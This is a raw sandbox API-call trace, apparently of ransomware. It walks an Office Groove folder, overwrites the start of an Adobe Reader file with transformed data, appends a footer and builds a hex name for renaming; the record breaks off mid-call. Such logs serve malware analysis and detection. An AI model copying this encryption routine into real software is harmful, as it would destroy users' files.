[0101.044] wcscat (in: _Dest=0x202afa90, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*" [0101.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce593b0 [0101.044] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*", lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c610 [0102.459] wcscmp (_String1=".", _String2=".") returned 0 [0102.459] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.459] wcscmp (_String1="..", _String2=".") returned 1 [0102.459] wcscmp (_String1="..", _String2="..") returned 0 [0102.459] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd279da00, ftCreationTime.dwHighDateTime=0x1c8a0cd, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd279da00, ftLastWriteTime.dwHighDateTime=0x1c8a0cd, nFileSizeHigh=0x0, nFileSizeLow=0x487, dwReserved0=0x0, dwReserved1=0x0, cFileName="builtincontrolsschema.xsd", cAlternateFileName="BUILTI~1.XSD")) returned 1 [0102.460] wcscmp (_String1="builtincontrolsschema.xsd", _String2=".") returned 1 [0102.460] wcscmp (_String1="builtincontrolsschema.xsd", _String2="..") returned 1 [0102.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278a70 [0102.460] wcscpy (in: _Dest=0x20278a70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" [0102.460] wcscat (in: _Dest=0x20278a70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0102.460] wcscat (in: _Dest=0x20278a70, _Source="builtincontrolsschema.xsd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\builtincontrolsschema.xsd") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\builtincontrolsschema.xsd" [0127.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20278a70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0127.115] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd279da00, ftCreationTime.dwHighDateTime=0x1c8a0cd, ftLastAccessTime.dwLowDateTime=0x537646f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd279da00, ftLastWriteTime.dwHighDateTime=0x1c8a0cd, nFileSizeHigh=0x0, nFileSizeLow=0x5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="grvschema.xsd", cAlternateFileName="GRVSCH~1.XSD")) returned 1 [0127.115] wcscmp (_String1="grvschema.xsd", _String2=".") returned 1 [0127.115] wcscmp (_String1="grvschema.xsd", _String2="..") returned 1 [0127.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ad020 [0127.116] wcscpy (in: _Dest=0x1b7ad020, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" [0127.116] wcscat (in: _Dest=0x1b7ad020, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0127.116] wcscat (in: _Dest=0x1b7ad020, _Source="grvschema.xsd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\grvschema.xsd") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\grvschema.xsd" [0127.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924 [0127.120] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d4e500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2d4e500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Messenger.xml", cAlternateFileName="MESSEN~1.XML")) returned 1 [0127.121] wcscmp (_String1="Messenger.xml", _String2=".") returned 1 [0127.121] wcscmp (_String1="Messenger.xml", _String2="..") returned 1 [0127.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ad5c0 [0127.121] wcscpy (in: _Dest=0x1b7ad5c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" [0127.121] wcscat (in: _Dest=0x1b7ad5c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0127.121] wcscat (in: _Dest=0x1b7ad5c0, _Source="Messenger.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml" [0127.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b8 [0127.123] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Space Templates", cAlternateFileName="SPACET~1")) returned 1 [0127.123] wcscmp (_String1="Space Templates", _String2=".") returned 1 [0127.123] wcscmp (_String1="Space Templates", _String2="..") returned 1 [0127.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7ae240 [0127.123] wcscpy (in: _Dest=0x1b7ae240, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" [0127.123] wcscat (in: _Dest=0x1b7ae240, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0127.123] wcscat (in: _Dest=0x1b7ae240, _Source="Space Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates" [0127.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ae240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0127.124] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a42b900, ftCreationTime.dwHighDateTime=0x1c9d747, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a42b900, ftLastWriteTime.dwHighDateTime=0x1c9d747, nFileSizeHigh=0x0, nFileSizeLow=0x17e2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterApplicationDescriptors.xml", cAlternateFileName="STARTE~1.XML")) returned 1 [0127.124] wcscmp (_String1="StarterApplicationDescriptors.xml", _String2=".") returned 1 [0127.124] wcscmp (_String1="StarterApplicationDescriptors.xml", _String2="..") returned 1 [0127.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x118c90 [0127.124] wcscpy (in: _Dest=0x118c90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" [0127.124] wcscat (in: _Dest=0x118c90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0127.124] wcscat (in: _Dest=0x118c90, _Source="StarterApplicationDescriptors.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml" [0127.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x118c90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x928 [0127.162] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4061200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4061200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b875, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterNotificationDescriptors.xml", cAlternateFileName="STARTE~3.XML")) returned 1 [0127.162] wcscmp (_String1="StarterNotificationDescriptors.xml", _String2=".") returned 1 [0127.162] wcscmp (_String1="StarterNotificationDescriptors.xml", _String2="..") returned 1 [0127.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x118af0 [0127.162] wcscpy (in: _Dest=0x118af0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" [0127.162] wcscat (in: _Dest=0x118af0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0127.162] wcscat (in: _Dest=0x118af0, _Source="StarterNotificationDescriptors.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml" [0127.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x118af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe28 [0127.163] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22545300, ftCreationTime.dwHighDateTime=0x1c9a48f, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22545300, ftLastWriteTime.dwHighDateTime=0x1c9a48f, nFileSizeHigh=0x0, nFileSizeLow=0x1a553, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterToolTemplates.xml", cAlternateFileName="STARTE~2.XML")) returned 1 [0127.163] wcscmp (_String1="StarterToolTemplates.xml", _String2=".") returned 1 [0127.163] wcscmp (_String1="StarterToolTemplates.xml", _String2="..") returned 1 [0127.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107900 [0127.164] wcscpy (in: _Dest=0x107900, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" [0127.164] wcscat (in: _Dest=0x107900, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0127.164] wcscat (in: _Dest=0x107900, _Source="StarterToolTemplates.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml" [0127.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0127.165] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22545300, ftCreationTime.dwHighDateTime=0x1c9a48f, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22545300, ftLastWriteTime.dwHighDateTime=0x1c9a48f, nFileSizeHigh=0x0, nFileSizeLow=0x1a553, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterToolTemplates.xml", cAlternateFileName="STARTE~2.XML")) returned 0 [0127.165] FindClose (in: hFindFile=0x1cd9c610 | out: hFindFile=0x1cd9c610) returned 1 [0127.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce593b0) returned 1 [0127.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afa90) returned 1 [0127.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 Thread: id = 867 os_tid = 0x1434 [0101.046] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm")) returned 0x20 [0102.230] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm", dwFileAttributes=0x20) returned 1 [0102.649] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1610 [0102.649] GetFileSizeEx (in: hFile=0x1610, lpFileSize=0x25d0f800 | out: lpFileSize=0x25d0f800*=17000) returned 1 [0102.649] SetFilePointerEx (in: hFile=0x1610, liDistanceToMove=0x4264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.650] ReadFile (in: hFile=0x1610, lpBuffer=0x25d0f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25d0f7c8, lpOverlapped=0x0 | out: lpBuffer=0x25d0f780*, lpNumberOfBytesRead=0x25d0f7c8*=0x4, lpOverlapped=0x0) returned 1 [0102.666] SetFilePointerEx (in: hFile=0x1610, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260140 [0102.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263320 [0102.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b30 [0102.666] NtQuerySystemTime (in: CurrentTime=0x25d0f6c0 | out: CurrentTime=0x25d0f6c0*=132462177081934000) returned 0x0 [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x426f5ee5 [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x32fd8a31 [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x7a87da6e [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x5f04bb68 [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x2ef1ea16 [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x22b6f52d [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x67855224 [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x7aea8da4 [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x5aac9731 [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x2c026f7f [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x67954c01 [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x64153653 [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x2ac8617f [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0xced957d [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0xfc5eebf [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x5d454f8c [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x17bd2e68 [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x1303c67c [0102.666] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x6840af01 [0102.667] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x76822ddf [0102.667] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x18c827dd [0102.667] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x430c6cf4 [0102.667] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x4572af2f [0102.667] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x59818973 [0102.667] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x18b115eb [0102.667] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x7ef43bb4 [0102.667] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x7b59cfc2 [0102.667] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x7a2b54f7 [0102.667] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x1917884d [0102.667] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x8560c0d [0102.667] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x3e8192ab [0102.667] RtlRandomEx (in: Seed=0x25d0f6b0 | out: Seed=0x25d0f6b0) returned 0x48b48eb [0102.675] SetFilePointerEx (in: hFile=0x1610, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.675] ReadFile (in: hFile=0x1610, lpBuffer=0x202bd4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25d0f720, lpOverlapped=0x0 | out: lpBuffer=0x202bd4e0*, lpNumberOfBytesRead=0x25d0f720*=0x3c00, lpOverlapped=0x0) returned 1 [0102.691] SetFilePointerEx (in: hFile=0x1610, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0102.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0102.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8594c0 [0102.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8594c0) returned 1 [0102.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202ea5a0 [0102.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8594c0 [0102.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b30 [0102.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b30) returned 1 [0102.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0102.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0102.693] WriteFile (in: hFile=0x1610, lpBuffer=0x202ea5a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25d0f720, lpOverlapped=0x0 | out: lpBuffer=0x202ea5a0*, lpNumberOfBytesWritten=0x25d0f720*=0x3c00, lpOverlapped=0x0) returned 1 [0128.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ea5a0) returned 1 [0128.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202bd4e0) returned 1 [0128.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202aa5f0 [0128.736] SetFilePointerEx (in: hFile=0x1610, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.736] WriteFile (in: hFile=0x1610, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x25d0f7d0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x25d0f7d0*=0x108, lpOverlapped=0x0) returned 1 [0128.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c4e0 [0128.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0128.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0128.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264e90) returned 1 [0128.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0128.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0128.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264dd0 [0128.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264dd0) returned 1 [0128.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0128.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0128.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9e930 [0128.739] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="59") returned 2 [0128.739] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="b6") returned 2 [0128.739] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="54") returned 2 [0128.739] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="1a") returned 2 [0128.739] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="b6") returned 2 [0128.739] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="ff") returned 2 [0128.739] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="7c") returned 2 [0128.739] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="3f") returned 2 [0128.739] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="21") returned 2 [0128.739] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="b2") returned 2 [0128.739] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="dc") returned 2 [0128.740] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="63") returned 2 [0128.740] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="43") returned 2 [0128.740] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="87") returned 2 [0128.740] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="73") returned 2 [0128.740] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="ee") returned 2 [0128.740] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="d5") returned 2 [0128.740] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="9a") returned 2 [0128.740] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="e5") returned 2 [0128.740] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="83") returned 2 [0128.740] sprintf (in: _Dest=0x1cd9e958, _Format="%c%c" | out: _Dest="6e") returned 2 [0128.740] sprintf (in: _Dest=0x1cd9e95a, _Format="%c%c" | out: _Dest="9c") returned 2 [0128.740] RtlInitAnsiString (in: DestinationString=0x25d0f848, SourceString="59b6541ab6ff7c3f21b2dc63438773eed59ae5836e9c" | out: DestinationString="59b6541ab6ff7c3f21b2dc63438773eed59ae5836e9c") [0128.740] RtlAnsiStringToUnicodeString (in: DestinationString=0x25d0f818, SourceString="59b6541ab6ff7c3f21b2dc63438773eed59ae5836e9c", AllocateDestinationString=1 | out: DestinationString="59b6541ab6ff7c3f21b2dc63438773eed59ae5836e9c") returned 0x0 [0128.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7a3500 [0128.740] wcscat (in: _Dest=0x20504010, _Source="59b6541ab6f" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\59b6541ab6f") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\59b6541ab6f" [0128.740] wcscat (in: 